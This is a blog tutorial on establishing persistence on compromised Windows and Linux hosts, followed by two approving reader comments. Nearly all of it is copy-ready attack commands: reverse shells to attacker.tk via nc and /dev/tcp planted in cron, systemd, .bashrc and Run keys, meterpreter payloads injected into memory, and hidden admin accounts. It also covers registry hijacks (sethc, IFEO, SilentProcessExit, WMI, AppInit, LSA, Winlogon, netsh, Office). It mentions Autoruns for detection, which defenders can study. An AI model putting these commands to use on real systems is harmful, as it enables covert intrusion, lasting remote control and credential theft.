There are many ways to establish persistence on a host, and each of them has its strengths and weaknesses, for instance:
-
write data on the HDD:
- strength: will survive a restart;
- weakness: visible to users and antiviruses;
-
inject code into RAM:
- strength: invisible to users;
- weakness: won’t survive a restart, may be visible to antiviruses;
-
change the OS configuration:
- strength: invisible to antiviruses, will survive a restart;
- weakness: may be visible to users.
Note that in most cases, you have no choice but to access the hard drive in order to entrench yourself in the system: this is the only way to prevent the loss of access due to an accidental reboot. Overall, the success of your persistence depends on two factors:
- how well is the backdoor launch hidden from the user; and
- how innocent the backdoor seems to the antivirus.
Of course, Linux systems are more suitable for persistence: most of such computers are rarely serviced by users and aren’t rebooted for months. They are more efficient as footholds and rarely protected by antiviruses (as you are well aware, antivirus programs pose a severe problem for persistence).
On the other hand, Windows has more startup options that can help you to disguise yourself deep in the system. Unlike Linux, on a Windows PC you almost always have to work alongside its user – either an experienced one or not.
When you are dealing not with a single target, but with a group, it’s convenient to use a domain name for the attacker’s machine, not an IP. This enables you to set for each victim or group of victims its own unique name in the attacker’s DNS zone (hereinafter attacker.tk), thus, making the management of victims more efficient. This is how it looks:
If antiviruses aren’t a big problem for you, then you can use a simple utility (e.g. nc.exe, ncat.exe, or socat.exe) as a reverse shell. All these programs have RAT capabilities and often bypass antiviruses just fine. Since they are run in the command line, you can launch such utilities on the target PC invisibly for the user. In Windows, all you have to do is change the subsystem of the executable file:
pe header → optional header nt fields → subsystem → GUI (0x0002)
The examples provided below will help you not only to establish persistence on the target host, but also to find out whether somebody has compromised your own machine.
In many cases, the analysis of startup elements is as useless as searching for a needle in a haystack. You have to make a decision based on the name of the executable file, its location (i.e. whether it’s in the right place or somewhere in the user profile), and name and description of the developer company hardcoded in the file. But as you know, nothing prevents an attacker from faking these data!
Antiviruses normally don’t delete entries in the startup lists, but instead delete the executable files. Therefore, a broken link in the startup must be an alarming signal for you.
In real-life situations, you often need the admin rights to maintain persistence. This might be a problem since not every shell has the required privileges. In the examples below, the unprivileged user input is marked with $
; while the admin input, with #
. The Autoruns utility is used for detection, and the results are shown in screenshots.
Shell
You can establish persistence directly from the command line. To ensure that the shell always starts, use the command with an infinite loop that goes into the background.
Windows
In Windows, this looks as follows:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"
Linux
bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
- Strengths: controlled start interval, works for any user.
- Weakness: won’t survive a restart.
Startup
Speaking of persistence, I cannot omit the classical and well-known startup. Its main advantage is that any user rights are sufficient for it.
Windows
cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"
Linux
bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.
Services
From the persistence perspective, services have a significant advantage in comparison with the startup: Service Manager can restart the required service if necessary.
In Windows, you must have the admin rights to create a service.
cmd#> sc create persistence binPath= "nc.exe -e \windows\system32\cmd.exe attacker.tk 8888" start= autocmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000cmd#> sc start persistence
In Linux, you can create a service using an unprivileged user account. Below are the variants for root and for ordinary users.
bash#> vim /etc/systemd/system/persistence.servicebash$> vim ~/.config/systemd/user/persistence.service
The file content is as follows:
[Unit]Description=persistence[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target
Launching the handmade service:
bash#> systemctl enable persistence.servicebash#> systemctl start persistence.servicebash$> systemctl --user enable persistence.servicebash$> systemctl --user start persistence.service
- Strengths: will survive a restart, controlled start interval, works for any user.
- Weakness: requires admin rights.
Tasks
Creation of a scheduled task is a very convenient way to maintain access. Concurrently, you can set the start time and interval. Too bad, only privileged users can perform such operations.
Windows
cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888"
Linux
bash#> echo "* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1" >> /var/spool/cron/rootbash#> echo $'SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n'> /etc/cron.d/pwn
- Strengths: will survive a restart, controlled start interval.
- Weakness: requires admin rights.
In-memory
To establish a foothold on the target machine without leaving any traces, you can inject a backdoor into its RAM. Antiviruses usually have little control over the memory because this significantly increases the consumption of resources. Even an experienced user is unlikely to notice something that is hidden inside a legitimate process.
I suggest using meterpreter as an in-memory backdoor. This famed RAT is able to work exclusively in the memory (i.e. without making any changes on the disk).
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999cmd$> inject_windows.exe PID meter32.bin
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999bash$> inject_linux PID meter32.bin
Malicious code can be injected not only into native processes, but in interpreted (e.g. with Python) ones as well:
msfvenom -p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -o meter.py exitfunc=thread StagerRetryCount=999999$> pyrasite PID meter.py
The price paid for the maximum secrecy is pretty high: persistence is lost after a reboot.
- Strengths: works for any user, difficult for a user to detect.
- Weakness: won’t survive a restart.
Since the malicious thread runs outside of any library, Procexp often displays its start address as null.
Configs
Establishing persistence by altering the OS configuration is a great way to hide from antiviruses. This is the only situation where you don’t use any executable code at all. But this method requires direct access to the target host.
One of the most popular variants of this attack is to create a hidden user and then gain remote access on its behalf.
Windows
cmd#> net user attacker p@ssw0rd /addcmd#> net localgroup administrators /add attackercmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f
Linux
bash#> openssl passwd -1 -salt testbash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> /etc/passwd
A simple and efficient backdoor in Windows via RDP:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
- Strengths: difficult for an antivirus to detect, will survive a restart.
- Weaknesses: requires the admin/root rights, won’t work if the target host is behind a NAT or a firewall.
Special tricks for Linux
Some tricks are applicable only to a certain OS. Let’s start with Linux.
LD_PRELOAD
To inject the required code into each launched process in Linux, use the LD_PRELOAD variable:
bash#> echo /path/to/meter.so >> /etc/ld.so.preloadbash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profilebash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.
rc.local
After a restart, you can execute commands in rc.local, but only once.
bash#> echo "nc attacker.tk 8888 -e /bin/bash &" >> /etc/rc.local
- Strength: will survive a restart.
- Weaknesses: uncontrolled start interval, root rights required.
Special tricks for Windows
Windows offers a much larger selection of malicious tricks.
Debugger
If the attacker is aware what programs are frequently used by the victim, the malicious code can be injected into the body of such a program using a joiner. However, any interference with executable files inevitably makes the antivirus pretty suspicious. A much more elegant solution is to intercept the launch:
cmd#> copy calc.exe _calc.execmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f
As soon as the victim opens and then closes the calculator, the attacker gets a reverse shell:
- Strength: will survive a restart.
- Weakness: requires admin rights.
Gflags
In a similar way, you can arrange the execution of your code when the user closes a certain program.
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"
- Strength: will survive a restart.
- Weakness: requires admin rights.
Autoruns doesn’t detect this technique, but you can check the respective registry branch:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
WMI
Malicious code can be automatically executed using WMI events. The technique is pretty efficient and allows to run the backdoor at regular intervals.
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"cmd#> wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
- Strengths: will survive a restart, controlled start interval.
- Weakness: requires admin rights.
AppInit
Windows allows to inject libraries into windowed applications using AppInit (they must use user32.dll).
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /fcmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter64.dll" /fcmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /fcmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter32.dll" /f
- Strength: will survive a restart.
- Weaknesses: requires admin rights, uncontrolled start interval.
Lsass
Another way is to inject the library into the lsass
system process. The main benefit is that this process stores the accounts that you normally extract with mimikatz.
cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f
- Strength: will survive a restart.
- Weaknesses: requires admin rights, uncontrolled start interval, there is a risk to kill the system.
Winlogon
The Winlogon mechanism can be used to run a shell every time a user logs on to the system.
cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe,c:\windows\meter.exe"
- Strength: will survive a restart.
- Weakness: uncontrolled start interval.
Netsh
Netsh is a command-line utility for local or remote network device configuring. In addition, it allows to load arbitrary libraries, thus, enabling you to cause an impromptu restart. The result looks harmless because the Windows system component that is initially called is 100% legitimate.
cmd#> c:\windows\syswow64\netsh.exenetsh> add helper c:\windows\meter32.dllcmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\SysWOW64\netsh.exe"
As a result, you get the following chain: autorun → netsh.exe → meter.dll. Importantly, meter.dll is hidden from the user who will only see the launch of Netsh, a legitimate Windows component.
- Strengths: will survive a restart, difficult for a user to detect.
- Weakness: requires admin rights.
Office
This method is suitable if the victim frequently uses Microsoft Office (which is typical for victims).
cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\users\username\meter.dll
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.
Conclusions
The presented techniques are the most basic and popular ones; all of them can be used to establish persistence in the target system – either covertly or not. The majority of such attack don’t depend on the OS version and configuration and are easy-to-implement. Note that there is no universal way (otherwise the detection would be too easy!), and all methods have strengths and weaknesses. Keep in mind that in each specific situation, your primary goal is to balance the efficiency and stealth.
Of course, the selection of available techniques is not limited to the ones discussed in this article, and everything depends on your imagination and wits. For instance, the above-mentioned Autoruns utility can significantly facilitate the identification of new persistence options on Windows systems.
Importantly, a well-placed backdoor link is not the end of the story! In the next article, I am going to explain what executable file should be used for this purpose and how to effectively bypass antiviruses.
Really great article thanks !
Very good article. Lots of useful information. Thank you.